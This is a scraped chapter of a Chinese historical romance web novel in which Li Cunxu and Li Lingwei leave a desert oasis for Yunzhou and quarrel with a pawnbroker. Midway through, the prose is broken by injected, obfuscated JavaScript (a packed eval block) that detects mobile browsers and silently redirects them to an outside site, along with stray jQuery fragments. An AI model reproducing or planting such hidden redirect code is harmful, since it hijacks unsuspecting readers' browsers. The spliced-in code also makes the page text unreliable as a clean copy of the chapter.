文趣网 > 都市小说 > 五代离乱,花开彼岸 > 87. 新婚
    往后岁月,李凌薇与李存勖便相守度日,白日同驱骏马穿行戈壁黄沙,入夜共坐沙丘浅酌对月,仿佛世间别无天地。

    半月来,李凌薇倍感知足,她的心已许久没有这般松弛平和,不必思虑纷争,无需挂怀烦忧。只是每每静下心,她总不敢相信这一切是真实的,疑心这仅仅是一场梦。

    此地美则美矣,不过如今入了夏,干燥炎热,对于她这种从小长在中原的人来说,实在难耐。可纵有万般不适,只要能与李存勖能朝夕相处便足够了。

    李存勖一大早就去给沙陀大婶送些昨日打猎而来的食物,李凌薇睡醒后,独自走到沙丘的最高点,闭上眼睛意态悠闲地晒起太阳。她看着天高云淡,云卷云舒,耳边万籁俱静,只有风儿吹动沙子的嘶嘶声,一团毛茸茸的温暖感油然而生。

    炙热的太阳炭烤着大地,今日格外闷热,她浑身湿腻腻的难受,非要洗个澡不可,遂骑上马跑了出去。

    在干旱少雨、水资源极度稀缺的茫茫戈壁中,一泓清泉显得尤为珍贵。李凌薇跳下马,观察了半天四周无人,便褪去外衫奔了进去。这是她和李存勖发现的秘密绿洲。

    泉水凉飕飕的感觉侵袭到肌肤,她一下子舒畅了很多。她试探着往深处走了几步,撩起泉水泼到自己的肩膀上,好个惬意。好像很久没有好好清洗,她霎时来了兴致,像条欢快的小鱼在泉水中游来游去……

    蓦地,腰间被一双温暖的大手握住,她惊得一阵抖,猛地向后一踹,大喊道:“谁?”

    李存勖脸上划过一丝痛楚,摇头苦笑道:“好狠。”

    李凌薇看清是他,赶忙游过去查看他的伤势,“你无碍吧?我不知道是你。疼不疼,有没有伤到哪里?”

    李存勖的脸上带起一丝笑意,“无碍。”

    李凌薇自是不依,蹿到他身上,像条八爪鱼般挂在他的身上,撒娇地轻捶他的后脊,“你什么时候来的,真是吓死我了。”

    “我看你一个人骑马出来,就跟了上来。本想吓你一跳,没想到却被你吓着了。”

    “我也被吓到了,我还以为是哪个登徒子、好色鬼呢?”李凌薇挑起眉毛奚落道。

    李存勖的一双眼睛在阳光下一闪一闪的,笑着道:“对啊,我就是那个登徒子、好色鬼。”说着,他将炽热的脸埋到李凌薇胸前亲吻。

    李凌薇呼吸一紧,羞怯地连忙推开他,不满地低声嗔怪道:“光天化日、朗朗乾坤,让外人多看到不好。”

    “除了你我,这里怎么会有外人?”李存勖满含情欲地盯着李凌薇,嘴唇微微翘起。

    李凌薇捏着他的脸颊,在他翘起的唇上轻轻一亲,“不如咱们来比赛游水吧。”

    李存勖摇头一笑,“我不会。”

    李凌薇惊讶地瞪大了眼睛,一脸不可置信,“那你如何一直站在水上?不让自己掉下去?”

    “这水本来就不深啊。”李存勖嘴角翘起一个弧度,耸了耸肩膀。

    李凌薇难为情地从他身上跳了下去,双脚落于水底,泉水刚刚没过她的鼻尖。她朝他伸出食指做了一个挑逗的手势,“来追我呀。”

    “呵,小鬼,看你往哪跑。”李存勖说着便朝她追来。

    李凌薇忙踩水躲闪开去,不无得意地笑着招手一迭声挑衅道:“来啊,来啊,你抓我啊。”

    “看我能不能抓到你。”

    “抓到我喊你阿兄。”

    “小鬼。”

    “抓不到,抓不到。你可抓不到我。”

    “今日你定要叫我阿兄了。”

    突然,远处一声长鸣划过天空,声音渐渐朝两人靠近,李凌薇兴冲冲地对着李存勖喊道:“你快看,有老鹰。”

    李存勖纵耳四望,眉头陡然一皱,脸上的笑容不知不觉间已然消散。他盯着老鹰看了几秒钟,神情严肃起来。

    “怎么了?”李凌薇的心也跟着一紧。

    李存勖没有回答,而是转身朝岸边走去。他身上的水一滴滴落下,在黄沙上凝成一片硬地,恰似他此刻凝重的表情。只见他将右手大拇指、食指放进嘴中,吹出一长串暗号,左手朝空中伸出一只胳膊,老鹰在空中飞翔了几个旋涡之后,便垂直而下,径直落到他的左臂上。他朝老鹰点了点头,神情凝重地从它翅膀中取出一张纸条,打开纸条看过后,眉头紧紧皱在一起。

    李凌薇疑上心头,走上岸穿好衣服,不解地问道:“发生了什么事?”

    “阿爷邀契丹首领耶律阿保机到云州相聚,要我立刻赶赴云州别院。”李存勖将目光从纸条上移开,对着李凌薇沉重地说。

    李凌薇在心里低叹一声,小心地询问:“你……要去吗?”

    “我……”

    李存勖内心的想法已然写在脸上:他确实想去,但又因与李凌薇的承诺而犹豫不决。

    “这几年契丹开始逐渐壮大,耶律阿保机相继征服了黑车子室韦、吐谷浑、乌丸、奚、乌古和阻卜等部,又把目光投向中原,倘若他与朱温联手,阿爷的处境恐怕更加不利。”李存勖继续道,“先前西川、凤翔、晋阳等几家联手都依然不能阻挡朱温篡唐的步伐,若是再加上契丹,那么天下的形势……况且耶律阿保机为人阴险毒辣,我怕他会对阿爷不利。”

    李存勖的雄心壮志、胸襟抱负,李凌薇都看在眼里,而她的内心深处也从未真正认为他会就这样一直平淡下去。只是在她内心有个自私想法,希望李存勖能够一直陪着她。

    李凌薇朝他露出一个理解的笑容,“你去吧。”

    “我……”

    李凌薇伸手轻轻捂住他的嘴,“你的心思我都明白,你放心去吧,我在这里等你回来。”

    “不!”李存勖将湿漉漉的李凌薇抱住,“我要你和我一起去!我不能把你一个人留在这里。”

    “你不怕你阿爷知道我们的事情吗?他不会同意咱们在一起。”

    “我不怕!我不能和你分开,无论付出什么代价,我都要和你在一起。”

    “你那天到底对孟知祥说了什么?”这个问题一直困扰着李凌薇。

    李存勖露出一丝自豪的笑,“我告诉他,你是我的人,我必须带你离开!”

    “然后呢?”

    “这是我和他之间的秘密。”李存勖不肯再多说,握起她的手,“陪我一同去云州吧,我不想和你分开,一刻也不想。”

    “可我……”

    “和我一起去吧。”

    “我……”

    “去吧。”李存勖恳求道。

    李凌薇望着他坚定的眼神,眼中闪过一丝犹豫,最终还是点了点头,“好。”

    ——————

    李存勖和李凌薇并肩走在市集上,二人同穿胡服,宛如一对寻常夫妻。李凌薇如此装扮,飒爽素丽,别有一番风姿。

    李克用要晚几日才到,李存勖提议二人先游玩一番。他凑到她耳旁,“沙漠气候干燥热难耐,平日里顿顿都是牛羊肉,你身子定是吃不消。你瞧你都瘦了一大圈,我看着着实心疼。”

    李凌薇欢喜他的细心,“我最怕热了。”

    “不如今晚咱们就搬到我阿爷的别院。客栈多有不便,那里可以住得舒服些。你也可以好好洗个澡,安置一下。”

    “无论在哪里,能和你在一起就足够了。我还想再过几日只有你我二人的日子。”

    “我也是这样想。”李存勖轻刮李凌薇鼻尖,“不过我如此体贴,你快夸夸我。”

    李凌薇在他耳旁轻声说:“你最好了。”

    李存勖眼中闪烁着熠熠神采,“我只对你一个人好。”

    李凌薇羞涩一笑,“不如我们买些小物什,之后回去送给大婶和她的孩子,她们一定很喜欢。”

    “好。”

    街衢熙熙攘攘,人来人往。这里是云州东城,远离中原,胡汉混居,早已摆脱唐朝控制数十年,百姓过得倒也安逸。

    “不过咱们没有银子,要如何去买呢?”李凌薇发出疑问。

    李存勖笑吟吟道:“这个世上呢,除了以钱买物,还可以以物换物。”

    “如何以物换物?”李凌薇不明所以。

    李存勖微微一笑,讳莫如深地领着李凌薇走入一间当铺,“请问店家在吗?”

    一名扫地的伙计停下手中动作,殷切地迎上来,笑着问道:“二位是来当东西还是赎东西?”

    “当东西。”李存勖道。

    “客官稍等,我这就喊朝奉。”伙计说着向柜台里喊道,“朝奉,有客人。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724130|203025||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “来了。”柜台后传来一记粗犷低沉的回答,随即是一张粗鄙的脸,看相貌大约四十岁年纪,留着小胡子,瘦长脸,腿很短,尤其是脸上还有一道狭长又狰狞的伤疤,吓得李凌薇连忙躲到李存勖身后。

    李存勖笑着安抚了一下李凌薇,卸下腰间的匕首摆在柜台上,“我当物件。”

    朝奉满面笑容地打着招呼,然后拿起柜台上的匕首,观察了半晌,笑道:“这匕首可是上乘之品啊,客官确定要当了?”

    李存勖点了点头。

    “那日后还赎不赎?”

    “自然不赎了。值多少钱?你可不要诓我。”

    朝奉眼中冒出精光,笑着连说带比画,“值十两银子。”

    李存勖也是平生头一遭典当物件,心中全然摸不清这匕首实价几何,只觉对方给出的价码尚可斟酌,便轻轻颔首应道,“好。”

    “客观真是个爽快人。”朝奉笑呵呵地掏出几块银子交到李存勖手中。

    李存勖接过银子放到李凌薇手心中,“这下咱们有银子了。”

    李凌薇手捧银子,嘴角上扬,笑得宛如天真无邪的小娘子。

    朝奉目光骤然一亮,紧紧锁住李凌薇手腕上的玉镯,“娘子这玉镯看着实在是别致,莫非是独山玉?”

    李凌薇看向自己手腕,这玉镯乃是当年张惠所赠,多年来朝夕相伴不曾离身,一晃竟已是许多年。她点了点头,“正是。”

    “不知娘子是否可以卖给小老?”朝奉谄媚地问道。

    李凌薇快速将玉镯收入袖中,“这个不卖。”

    “能否让小老好好看看。”在李凌薇愣神之际,朝奉走出柜台欲拉她的手腕,被李存勖一把按住。

    “你活腻了吗?”

    “客官错怪小老了,小老有个女儿,也有这么一个玉镯,却不小心给摔断了,我一直想再给她找个相似的,没想到娘子的这枚竟然是一模一样。”朝奉被反扭着手臂,脸涨得通红,“这样吧,我出三十两,把它也卖给我吧。”

    “我夫人说了不卖。”李存勖喝道。

    “我是真心想要啊,客官。”朝奉继续加价,“五十两,五十两卖给小老可否?”

    “还敢说!”李存勖的手狠狠地掐上朝奉的咽喉,朝奉那张丑陋的脸露出惊恐,双唇微张,似乎还要说些什么。

    李凌薇见李存勖虎口还在用力,便轻轻推了推他,低声道:“罢了罢了,咱们走吧。”

    “哼,日后手放干净些!”李存勖怒斥一声,随即松开手,携着李凌薇离去。

    朝奉手捂脖颈,呼哧呼哧喘着粗气,伙计也被吓坏了,忙上前安抚他。

    “我出一百两!”掌柜仍不死心,追在二人身后高呼,“日后若欲出手,尽管来寻我。客官,慢走!切记我这张记当铺!”

    忽闻内室一阵响动,一名戴幕篱的红衣娘子快步奔出,一把攥住李凌薇的臂膀,执意不肯放她走。露在外的小臂之上,一枚殷红兰花胎记格外惹眼。

    李存勖飞快地将小娘子踹到一旁,喝道:“我今日就要拆了你们这黑店!”

    朝奉迅速跑过去将红衣小娘子抱在怀中,不住地道歉:“这是小女,定是见了这玉镯欢喜。对不住客官,对不住客官。”

    红衣小娘子被紧紧钳制,欲挣脱而不得。她惊恐万分,泪如泉涌,身子簌簌发抖。

    朝奉死死地按住女儿,“客官对不住,您慢走。”

    “真是晦气!”李存勖走出当铺,怒骂道,“这父女二人,着实可恶!”

    “罢了罢了,不要因为他们影响了咱们今日的好心情。”李凌薇劝解道,心头却泛起一阵莫名的异样,不禁缓缓回头望向那当铺,只见红衣娘子被朝奉生拉硬拽着往内室拖去,她那纤细地双臂在空中无助地挥舞着,那模样,着实可怜。

    “我还是去拆了这店吧。”李存勖扭身道。

    “罢了罢了。”李凌薇忙拉住他。

    “要不是你拦着我,我定要拆了他这店。”李存勖怒火仍未消减。

    “咕咕……”李凌薇的肚子恰在此时不合时宜地叫了起来,她脸颊微微泛红,忙不迭地把脸转向别处。

    李存勖笑了笑,“咱们去吃饭。”

    “好。”